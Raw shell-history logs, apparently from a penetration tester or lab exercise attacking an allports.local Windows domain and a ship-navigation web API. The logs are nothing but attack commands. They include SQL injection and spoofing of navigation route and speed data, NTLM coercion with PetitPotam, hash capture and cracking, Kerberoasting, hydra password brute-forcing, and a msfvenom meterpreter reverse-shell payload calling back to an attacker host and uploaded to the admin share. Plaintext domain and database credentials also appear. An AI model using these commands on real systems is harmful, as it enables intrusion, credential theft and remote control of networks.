_raw:
nmap 10.0.1.14 -sV -p 22
clear
telnet 10.0.1.10 6768
curl 'http://10.0.1.15:8080/api/navigation.php?action=speed' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Referer: http://10.0.1.15:8080/?route=home' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.15:8080' \\
  -H 'Connection: keep-alive' \\
  -H 'Priority: u=0' \\
  --data-raw '{"speed_knots":25}'
curl 'http://10.0.1.15:8080/api/navigation.php?action=speed' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Referer: http://10.0.1.15:8080/?route=home' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.15:8080' \\
  -H 'Connection: keep-alive' \\
  -H 'Priority: u=0' \\
  --data-raw '{"speed_knots":26}'
telnet 10.0.1.10 6768
curl 'http://10.0.1.15:8080/api/save_route.php' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Referer: http://10.0.1.15:8080/?route=route_builder' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.15:8080' \\
  -H 'Connection: keep-alive' \\
  -H 'Priority: u=0' \\
  --data-raw '{"route_name":"test","waypoints":[{"name":"Nassau","lat":25.078,"lon":-77.3383},{"name":"Nassau","lat":25.078,"lon":-77.3383},{"name":"Freeport","lat":26.5333,"lon":-78.6958},{"name":"Fort Lauderdale","lat":26.1224,"lon":-80.1373}],"total_distance":195.49678179935674,"estimated_time":9.774839089967838,"weather_data":{},"notes":"","created_by":"Captain"}'
sqlmap -u "http://10.0.1.15:8080/api/save_route.php" --batch --random-agent --data '{"route_name":"test","waypoints":[{"name":"Nassau","lat":25.078,"lon":-77.3383},{"name":"Nassau","lat":25.078,"lon":-77.3383},{"name":"Freeport","lat":26.5333,"lon":-78.6958},{"name":"Fort Lauderdale","lat":26.1224,"lon":-80.1373}],"total_distance":195.49678179935674,"estimated_time":9.774839089967838,"weather_data":{},"notes":"","created_by":"Captain"}' --content-type "application/json"\
sqlmap -u "http://10.0.1.15:8080/api/save_route.php" --batch --random-agent --data "route_name='test'&waypoints=[{\"name\":\"Nassau\",\"lat\":25.078,\"lon\":-77.3383},{\"name\":\"Nassau\",\"lat\":25.078,\"lon\":-77.3383},{\"name\":\"Freeport\",\"lat\":26.5333,\"lon\":-78.6958},{\"name\":\"Fort Lauderdale\",\"lat\":26.1224,\"lon\":-80.1373}]&total_distance=195.49678179935674&estimated_time=9.774839089967838&weather_data={}&notes=&created_by=Captain" --content-type "application/x-www-form-urlencoded"\
sqlmap -u "http://10.0.1.15:8080/api/save_route.php" --batch --random-agent --data '{"route_name":"test\'","waypoints":[{"name":"Nassau","lat":25.078,"lon":-77.3383},{"name":"Nassau","lat":25.078,"lon":-77.3383},{"name":"Freeport","lat":26.5333,"lon":-78.6958},{"name":"Fort Lauderdale","lat":26.1224,"lon":-80.1373}],"total_distance":195.49678179935674,"estimated_time":9.774839089967838,"weather_data":{},"notes":"","created_by":"Captain"}' --content-type "application/json"\
\
\
a\
'
sqlmap -u "http://10.0.1.15:8080/api/save_route.php" --batch --random-agent --headers "Content-Type: application/json" --data '{"route_name":"test","waypoints":[{"name":"Nassau","lat":25.078,"lon":-77.3383},{"name":"Nassau","lat":25.078,"lon":-77.3383},{"name":"Freeport","lat":26.5333,"lon":-78.6958},{"name":"Fort Lauderdale","lat":26.1224,"lon":-80.1373}],"total_distance":195.49678179935674,"estimated_time":9.774839089967838,"weather_data":{},"notes":"","created_by":"Captain"}'\
curl 'http://10.0.1.15:8080/api/save_route.php' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Referer: http://10.0.1.15:8080/?route=route_builder' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.15:8080' \\
  -H 'Connection: keep-alive' \\
  -H 'Priority: u=0' \\
  --data-raw '{"route_name":"test","waypoints":[{"name":"Miami","lat":25.7617,"lon":-80.1918},{"name":"Key West","lat":39.25096045175602,"lon":127.41387871995497}],"total_distance":112.74845198921606,"estimated_time":5.637422599460804,"weather_data":{},"notes":"","created_by":"Captain"}'
curl 'http://10.0.1.15:8080/api/save_route.php' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Referer: http://10.0.1.15:8080/?route=route_builder' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.15:8080' \\
  -H 'Connection: keep-alive' \\
  -H 'Priority: u=0' \\
  --data-raw '{"route_name":"test spoofing","waypoints":[{"name":"Miami","lat":25.7617,"lon":-80.1918},{"name":"Key West","lat":39.25096045175602,"lon":127.41387871995497}],"total_distance":112.74845198921606,"estimated_time":5.637422599460804,"weather_data":{},"notes":"","created_by":"Captain"}'
curl 'http://10.0.1.15:8080/api/save_route.php' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Referer: http://10.0.1.15:8080/?route=route_builder' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.15:8080' \\
  -H 'Connection: keep-alive' \\
  -H 'Priority: u=0' \\
  --data-raw '{"route_name":"test spoofing","waypoints":[{"name":"Miami","lat":25.7617,"lon":-80.1918},{"name":"Test","lat":39.25096045175602,"lon":127.41387871995497}],"total_distance":112.74845198921606,"estimated_time":5.637422599460804,"weather_data":{},"notes":"","created_by":"Captain"}'
curl 'http://10.0.1.15:8080/api/save_route.php' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Referer: http://10.0.1.15:8080/?route=route_builder' \\
  -H 'Content-Type: application/json' \\
  -H 'Origin: http://10.0.1.15:8080' \\
  -H 'Connection: keep-alive' \\
  -H 'Priority: u=0' \\
  --data-raw '{"route_name":"test spoofing","waypoints":[{"name":"Miami","lat":25.7617,"lon":-80.1918},{"name":"Test","lat":39.25096045175602,"lon":127.41387871995497}],"total_distance":115552.74845198921606,"estimated_time":5.637422599460804,"weather_data":{},"notes":"","created_by":"Captain"}'
sqlmap -u "https://chat.allports.tours/login/" --batch --random-agent --data "csrf_token=IjEzY2MyNmRlNjJiNWRjMWI2YzVkYjY2MmM1ZTlkOWE0NDllZjgzYTci.aQY56w.XBAO_V0Ig_qf2XLHlKgI6Yg8sNo&email=email&password=pass&submit=Log+In&next=" --headers "Cookie: session=eyJjc3JmX3Rva2VuIjoiMTNjYzI2ZGU2MmI1ZGMxYjZjNWRiNjYyYzVlOWQ5YTQ0OWVmODNhNyJ9.aQY5gA.-kvx70YAHAxXQkccukqr6PfWaAg"\
ping chat.allports.tours
sudo resolvectl dns eth0 10.0.1.6
vim /etc/hosts
sudo vim /etc/hosts
sqlmap -u "https://chat.allports.tours/login/" --batch --random-agent --data "csrf_token=IjEzY2MyNmRlNjJiNWRjMWI2YzVkYjY2MmM1ZTlkOWE0NDllZjgzYTci.aQY56w.XBAO_V0Ig_qf2XLHlKgI6Yg8sNo&email=email&password=pass&submit=Log+In&next=" --headers "Cookie: session=eyJjc3JmX3Rva2VuIjoiMTNjYzI2ZGU2MmI1ZGMxYjZjNWRiNjYyYzVlOWQ5YTQ0OWVmODNhNyJ9.aQY5gA.-kvx70YAHAxXQkccukqr6PfWaAg"\
nxc smb 10.0.1.6 -M coerce_plus
msfconsole
nxc smb 10.0.1.6 -M coerce_plus
nxc smb 10.0.1.6 -M coerce_plus -o M=PetitPotam -L 10.0.254.201
nxc smb 10.0.1.6 -M coerce_plus -o M=PetitPotam -L=10.0.254.201
nxc smb 10.0.1.6 -M coerce_plus -o M=PetitPotam L=10.0.254.201
sudo responder -I eth0 -A
responder
sudo
sudo ls
ls
sudo responder -I eth0 -A
nxc smb 10.0.1.6 -M coerce_plus -o M=PetitPotam L=10.0.254.201
nxc ldap 10.0.1.6 -u "rdavis" -p "rosdav50" --kerberoasting output.txt
ls
cat password.txt
ls thinclient_drives
nxc ldap 10.0.1.6 -u "rdavis" -p "rosdav50" --kerberoast output.txt
sudo nxc ldap 10.0.1.6 -u "rdavis" -p "rosdav50" --kerberoast output.txt
nxc smb 10.0.1.6 -M coerce_plus -o M=PetitPotam L=10.0.254.201
nxc smb 10.0.1.6 -M coerce_plus -o M=PrinterBug L=10.0.254.201


_raw:
sudo responder -I eth0 -A
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k --shares
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' -k --shares
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -k --shares
nxc smb 10.0.1.6
nxc smb 10.0.1.20
nxc smb 10.0.1.21
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k --shares
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -h
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' --shares
nxc smb 10.0.1.5 -u 'rdavis' -p 'rosdav50' --shares
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' --shares
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -k --shares
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' --shares
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --share SYSVOL --download --recursive --out ./downloads/SYSVOL
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --share SYSVOL --download --recursive
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --share SYSVOL
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --share SYSVOL --download
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --share SYSVOL -h
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --share SYSVOL --spider SYSVOL --depth 5 --only-files --verbose
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' --shares
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --share ADMINS --spider ADMINS --depth 5 --only-files --verbose
ls
winrm
sudo nmap -sV -A -O 10.0.1.6
nxc winrm 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' -x 'whoami; hostname'
nmap -sT -p 5985,5986 10.0.1.6
nxc winrm 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' -x 'whoami; hostname' --verbose
nxc winrm 10.0.1.6 -u "rdavis' -p 'rosdav50' -x 'whoami; hostname' --verbose
nxc winrm 10.0.1.6 -u "rdavis" -p 'rosdav50' -x 'whoami; hostname' --verbose
nxc winrm 10.0.1.6 -u "DECKHAND-02\rdavis" -p 'rosdav50' -x 'whoami; hostname' --verbose
winrm
sudo apt install rwinrm
sudo apt install ruby-winrm
rwinrm
rwinrm rdavis@10.0.1.6
nxc winrm 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --verbose -x 'whoami; hostname'
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --exec-method smbexec -x 'reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM" /s'\
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --exec-method smbexec -x 'winrm enumerate winrm/config/Listener'
nxc smb ... --exec-method smbexec -x 'net localgroup "Remote Management Users"'\
nxc smb ... --exec-method smbexec -x 'whoami /all'
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --exec-method smbexec -x 'reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM" /s'\
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --exec-method smbexec -x 'winrm enumerate winrm/config/Listener'
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --exec-method smbexec -x 'net localgroup "Remote Management Users"'
nxc smb 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --exec-method smbexec -x 'whoami /all'
msfvenom
msfconsole
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.201 LPORT=4444 -f exe -o /tmp/meterp.exe
python -m http.server
cd /tmp
ls
python -m http.server
set msfconsole
msfconsole
nxc winrm 10.0.1.6 -u 'allports.local\rdavis' -p 'rosdav50' --verbose -x 'whoami; hostname'
nxc winrm 10.0.1.6 -u 'allports.local/rdavis' -p 'rosdav50' --verbose -x 'whoami; hostname'
evil-winrm
evil-winrm -i 10.0.1.6 -u "rdavis" -p "rosdav50"
evil-winrm -i 10.0.1.6 -u "allports.local/rdavis" -p "rosdav50"
rpcclient
rpcclient 10.0.1.6
rpcclient 10.0.1.6 -h
rpcclient -U "allports.local\rdavis%rosdav50" 10.0.1.6
rpcclient -U "allports.local\rdavis%rosdav501" 10.0.1.6
rpcclient -U "allports.local\rdavis%rosdav50" 10.0.1.6
clear
rpcclient -U "allports.local\rdavis%rosdav50" 10.0.1.6
smbclient -L //10.0.1.6 -U "allports.local\rdavis%rosdav50"
smbclient //10.0.1.6/C$ -U "allports.local\rdavis%rosdav50" -c "put /tmp/meterp.exe C:\Windows\Temp\meterp.exe"
smbclient //10.0.1.6 -U "allports.local\rdavis%rosdav50" -c "put /tmp/meterp.exe C:\Windows\Temp\meterp.exe"
smbclient -L //10.0.1.6 -U "allports.local\rdavis%rosdav50"
rpcclient -U "allports.local\rdavis%rosdav50" 10.0.1.6
nxc smb DECKHAND-01.allports.local -u "rdavis" -p "rosdav50" -k -x "whoami /all"
nxc smb DECKHAND-01.allports.local -u "rdavis" -p "rosdav50" -k -x "whoami"
nxc smb DECKHAND-01.allports.local -u "rdavis" -p "rosdav50" -x "whoami /all"
nxc smb 10.0.1.6 -u "rdavis" -p "rosdav50" -x "whoami /all"
nxc smb 10.0.1.6 -u "rdavis" -p "rosdav50" -k -x "whoami /all"
nxc smb 10.0.1.6 -u "allports.local\rdavis" -p "rosdav50" -k -x "whoami /all"
nxc smb 10.0.1.6 -u "allports.local\.rdavis" -p "rosdav50" -k -x "whoami /all"
nxc smb 10.0.1.6 -u "allports.local/rdavis" -p "rosdav50" -k -x "whoami /all"
nxc smb 10.0.1.6 -u "allports.local\rdavis" -p "rosdav50" -k -x "whoami /all"
nxc smb 10.0.1.6 -u "allports.local\rdavis" -p "Sails@way -k -x "whoami /all"
rpcclient -U "allports.local\rdavis%rosdav50" 10.0.1.6
evil-winrm -i 10.0.1.6 -u "allports.local/rdavis" -p "rosdav50"
evil-winrm -i 10.0.1.6 -u "rdavis" -p "rosdav50"
rpcclient -U "allports.local\rdavis%rosdav50" 10.0.1.6
samba
samba 10.0.1.6
samba 10.0.1.6 -u
samba 10.0.1.6 -u "rdavis" -p "rosdav50"
AAAAAAA
~~~~~~~~~~~~~~~~~~~~~AAAAAAAAA
impacket-GetUserSPNs allports.local/rdavis:rosdav50 -dc-ip 10.0.1.6 -request
nxc
nxc smb 10.0.1.6 -M
nxc smb 10.0.1.6 -M coerce_plus


_raw:
sudo responder -I eth0 -A
sudo responder -I eth0 -A -h
sudo responder -I eth0
ls
sudo ls
echo "APT-DC-01$::APT:2B4A42FAF766C0D000000000000000000000000000000000:6D4FAC08D3CF43F37B125EC2DC9E9549EA217C2438DA8530:95eb828fb3da25f8" > hash.txt
ls /usr/share/wordlists/rockyou.txt.gz
gunzip /usr/share/wordlists/rockyou.txt.gz\
sudo gunzip /usr/share/wordlists/rockyou.txt.gz\
ls /usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
ls
hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
ls
cat hash.txt
echo "APT-DC-01$:2B4A42FAF766C0D000000000000000000000000000000000:6D4FAC08D3CF43F37B125EC2DC9E9549EA217C2438DA8530:95eb828fb3da25f8" > corrected_hash.txt\
hashcat -m 1000 -a 0 corrected_hash.txt /usr/share/wordlists/rockyou.txt
echo
echo "$NETLM$b36d2b9a8607ea77$892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0" > test_hash.txt
hashcat -m 1000 -a 0 test_hash.txt /usr/share/wordlists/rockyou.txt
ntlmv1-multi
ls
git clone https://github.com/evilmog/ntlmv1-multi.git
ls
cd ntlmv1-multi
ls
python3 ./ntlmv1.py
pip install Crypto
sudo pip install Crypto
pip install Crypto --break-system-packages
python3 ./ntlmv1.py
pip3 install Crypto --break-system-packages
python3 ./ntlmv1.py
sudo apt search python crypto
python3 ./ntlmv1.py
pip3 install Crypto --break-system-packages
python3 ./ntlmv1.py
pip3 uninstall Crypto\
pip3 install --user pycryptodome\
pip3 uninstall Crypto\
pip3 install --user pycryptodome --break-system-packages\
python3 ./ntlmv1.py
cat hash
cat hash.
cat hash.txt
cat ../hash.txt
python3 ./ntlmv1.py "APT-DC-01$::APT:2B4A42FAF766C0D000000000000000000000000000000000:6D4FAC08D3CF43F37B125EC2DC9E9549EA217C2438DA8530:95eb828fb3da25f8"
python3 ./ntlmv1.py --ntlm "APT-DC-01$::APT:2B4A42FAF766C0D000000000000000000000000000000000:6D4FAC08D3CF43F37B125EC2DC9E9549EA217C2438DA8530:95eb828fb3da25f8"
./ct3_to_ntlm.bin EA217C2438DA8530 95eb828fb3da25f8 2B4A42FAF766C0D000000000000000000000000000000000\
echo "6D4FAC08D3CF43F3:45d6415a250f8a06">>14000.hash\
echo "7B125EC2DC9E9549:45d6415a250f8a06">>14000.hash\
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1\
hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1\
hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1
ls
hashcat -m 14000 -a 3 --hex-charset 14000.hash --hex-charset charsets/DES_full.charset ?1?1?1?1?1?1?1?1
sudo responder -I eth0 -A


_raw: : 1762032206:0;impacket-findDelegation -dc-ip 10.0.1.6 allports.local/'':'' -no-pass


_raw: : 1762032096:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 'rosdav50' -b "DC=allports,DC=local" "(cn=Domain Admins)" member -LLL


_raw: : 1762031960:0;cat payload | python3 interact.py


_raw: : 1762031942:0;echo payload | python3 interact.py


_raw: : 1762031916:0;ldapsearch -C -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=user)" sAMAccountName,displayName,mail,memberOf -LLL\


_raw: : 1762031887:0;nxc smb Deckhand-01.allports.local


_raw: : 1762031874:0;hydra -l users.lol -P /usr/share/wordlists/rockyou.txt  mysql://10.0.1.15


_raw: : 1762031866:0;smbclient -U 'test' -P ''  -L '//Deckhand-01.allports.local'


_raw: : 1762031859:0;smbclient -U '' -P ''  -L '//Deckhand-01.allports.local'


_raw: : 1762031845:0;responder -I eth0 --lm --disable-ess


_raw: : 1762031838:0;hydra -l users.lol -P /usr/share/wordlists/rockyou.txt  mysql://10.0.1.10


_raw: : 1762031803:0;echo payload | python3 interact.py


_raw: : 1762031755:0;echo payload | python3 interact.py


_raw: : 1762031694:0;dig any hostmaster.allports.local @10.0.1.6


_raw: : 1762031630:0;echo payload | python3 interact.py


_raw: : 1762031594:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 'rosdav50' -b "DC=allports,DC=local" "(cn=Domain Admins)" member -LLL


_raw:
: 1762031568:0;# SYN scan any open port\
sudo nmap -sS -p 80 10.0.1.1


_raw: : 1762031560:0;sudo responder -I eth0 --lm


_raw: : 1762031525:0;smbclient -N -L '//Deckhand-01.allports.local'


_raw: : 1762031495:0;smbclient -L -N Deckhand-01.allports.local


_raw:
gvm-start
sudo gvm-start
systemctl status gvmd.service
journalctl -xeu gvmd.service
-q
sudo gvm-setup
gvm-start
sudo gvm-start
ip addr show
clear


_raw: : 1762031489:0;echo payload | python3 interact.py


_raw: : 1762031467:0;echo payload| python3 interact.py


_raw: : 1762031466:0;echo payload| python3 iner


_raw: : 1762031452:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 'rosdav50' -b "DC=allports,DC=local" "(admincount=1)" sAMAccountName, memberOf -LLL


_raw:
hydra -l boatgps -P /usr/share/wordlists/rockyou.txt 10.0.1.15 mysql
hydra -l boatgps -p anchor2024 10.0.1.15 mysql
mysql -u boatgps -p anchor2024 -h 10.0.1.15
mysql -u 'boatgps' -p anchor2024 -h 10.0.1.15
mysql -u 'boatgps' -h 10.0.1.15
mysql -u 'boatgps' -h 10.0.1.15  --ssl-mode=DISABLED
nxc -h
nxc mssql 10.0.1.15 -u 'boatgps' -p 'anchor2024'
nxc mssql --help
mysql -u 'boatgps' -h 10.0.1.15  --ssl-mode=DISABLED
mysql -u 'boatgps' -h 10.0.1.15
ip ma
ip a
cat password.txt
mysql -u 'boatgps' -h 10.0.1.15  --ssl=FALSE
mysql -u 'boatgps' -h 10.0.1.15  --ssl=FALSE -p 'anchor2024'
mysql -u 'boatgps' -h 10.0.1.15  --ssl=FALSE -p
mysql -u 'root' -h 10.0.1.15  --ssl=FALSE -p
mysqldump -h 10.0.1.15 -u boatgps -p information_schema FILES > files.sql
mysqldump -h 10.0.1.15 -u boatgps -p information_schema FILES > files.sql --ssl=FALSE
ssh webmaster@10.0.1.15
cat password.txt
echo "1369a51eee3995d7fbd1c5342e5cc917760e276d561595b6052b21ace2656d1c" > hash.txt
john hash.txt --format=sha256crypt
nano hash.txt
john hash.txt --format=sha256crypt
john hash.txt
nxc winrm 10.0.1.21 -u '' -p '' --port 47001
nxc winrm 10.0.1.21 -u '' -p ''
nxc winrm 10.0.1.21 -u '' -p '' --port
nxc winrm 10.0.1.21 -u '' -p '' --port 47001


_raw: : 1762031315:0;gobuster dir --url http://10.0.1.15:8090 --wordlist /usr/share/wordlists/dirb/big.txt


_raw: : 1762031302:0;nxc smb 10.0.1.20 -u users -p users --no-bruteforce --continue-on-success


_raw: : 1762031279:0;nxc smb 10.0.1.6 -u users -p users --no-bruteforce --continue-on-success


_raw: : 1762031234:0;code . --no-sandbox --user-data-dir /home/pentester


_raw: : 1762031197:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 ./SecLists/Usernames/xato-net-10-million-usernames.txt  -o valid_ad_users4


_raw: : 1762031177:0;code . --no-sandbox --user-data-dir /home/pentester


_raw: : 1762031174:0;hydra -l users.lol -P /usr/share/wordlists/rockyou.txt  ssh://10.0.1.10


_raw: : 1762031156:0;hydra -l users.lol -P /usr/share/wordlists/rockyou.txt  ssh://10.0.1.6


_raw: : 1762031140:0;hydra -l users.lol -P /usr/share/wordlists/rockyou.txt  ssh://10.0.1.0/24


_raw: : 1762031112:0;hydra -l users.lol -P /usr/share/wordlists/  ssh://10.0.1.0/24


_raw:
sudo dirsearch -u http://10.0.1.11/
sploitscan CVE-2022-26809
sploitscan CVE-2017-0174
sploitscan CVE-2020-0912
sploitscan CVE-2004-1561
sploitscan CVE-2019-14363
sploitscan CVE-2022-26809
sploitscan CVE-2025-55315
sudo dirsearch -u http://10.0.1.11/login/
clear
nmap -sV 10.0.1.21
nmap -sV 10.0.1.1
nmap -sV 10.0.1.10
nmap -sV 10.0.1.14
nmap --script "vuln" 10.0.1.11
pwd
cd ..
ls
cd kali
ls
cd ..
ls
cd usr
ls
cd share
ls
cd wordlists
ls
cat john.lst
pwd
lslls
ls
unzip rockyou.txt.gz
sudo gunziprockyou.txt.gz
clear
sudo gunziprockyou.txt.gz
sudo gunzip rockyou.txt.gz
ls
cd ..
cd /usr/share/wordlist
cd /usr
cd share
cd wordlists
ls
cd ..
cd share
cd wordlists
clear
ls
sudo hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 10.0.1.11 "http://10.0.1.11/login:username = admin & password= IamTheCaptain"
sudo hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 10.0.1.11
cd usr
cd clear'\
clear\
clear
clear
hydra -L rockyou.txt ssh://10.0.1.11
touch hydra.txt
su root
cd ..
ls
cd home
ls
cd pentester
cat password.txt
clear
cat password.txt
su root


_raw:
pip3 install -r requirements.txt
lls
ls
python3 generate.py
python generate.py
python2.7 generate.py
pip2.7
pip2
exit


_raw: : 1762030960:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 'rosdav50' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName,mail -LLL > rdavisLdap.txt


_raw:
mysql  \xB3h 10.0.1.15 -u boatgps  \xB3p  \xB3ssl-verify-server-cert=off
mysql -h 10.0.1.15 -u boatgps -p -ssl-verify-server-cert=off
mysql -h 10.0.1.15 -u boatgps -p -ssl-verify-server-cert=off
mysql -h 10.0.1.15 -u boatgps -p --ssl-verify-server-cert=off
zaproxy


_raw: : 1762030915:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 'rosdav50' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName,mail -LLL


_raw: : 1762030904:0;pip install -r requirements.txt


_raw: : 1762030887:0;sudo apt install ./Linux.pulsar_1.130.1_amd64.deb


_raw: : 1762030879:0;sudo apt install Linux.pulsar_1.130.1_amd64.deb


_raw: : 1762030866:0;git clone https://github.com/xonoxitron/regreSSHion


_raw: : 1762030864:0;git clone https://github.com/garvitv14/CVE-2025-59287.git


_raw: : 1762030856:0;git clone https://github.com/xonoxitron/regreSSHion


_raw: : 1762030840:0;sudo apt install ./Linux.pulsar_1.130.1_amd64


_raw: : 1762030741:0;sudo apt install pulsar_1.130.1_amd64.deb


_raw: : 1762030636:0;ldapsearch -x -H ldap://10.0.1.6 -D "@allports" -w '' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762030628:0;tcpdump -i eth0 -n -c 50 -w icmp_capture.pcap


_raw: : 1762030623:0;ldapsearch -x -H ldap://10.0.1.6 -D "jellyfin@allports" -w 'jellyfin' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762030610:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 'jellyfin' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762030598:0;ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 'jellyfin' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762030561:0;ldapsearch -H ldap://10.0.1.6 -D "jellyfin@allports" -w 'jellyfin' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762030552:0;git clone https://github.com/evilmog/ntlmv1-multi


_raw: : 1762030541:0;ldapsearch -H ldap://10.0.1.6 -D "jellyfin@allports" -w 'jellyfin' -b "DC=allports,DC=local" "(objectClass=*)"


_raw: : 1762030512:0;tcpdump -i eth0 -n -c 1 -w icmp_capture.pcap icmp


_raw: : 1762030482:0;tcpdump -r icmp_capture.pcap


_raw: : 1762030382:0;tcpdump -i eth0 -n -c 1 -w icmp_capture.pcap icmp


_raw: : 1762030363:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 ./SecLists/Usernames/xato-net-10-million-usernames.txt  -o valid_ad_users3


_raw: : 1762030355:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 ./SecLists/Usernames/xato-net-10-million-usernames  -o valid_ad_users3


_raw: : 1762030340:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 ./SecLists/Usernames/CommonAdminBase64.txt  -o valid_ad_users3


_raw: : 1762030321:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 ./SecLists/Usernames/sap-default-usernames.txt  -o valid_ad_users3


_raw: : 1762030305:0;nxc smb 10.0.1.6 -u 'Administrator' -p 'Administrator'


_raw: : 1762030302:0;tcpdump -i eth0 -n -c 10 -w icmp_capture.pcap icmp


_raw: : 1762030266:0;tcpdump --help | grep "interface"


_raw: : 1762030262:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 ./SecLists/Usernames/top-usernames-shortlist.txt -o valid_ad_users3\


_raw: : 1762030245:0;sudo responder -I eth0 -A


_raw: : 1762030226:0;pipx install git+https://github.com/Tib3rius/AutoRecon.git


_raw:
mimikatz --help
searchsploit openneutron
searchsploit openstack
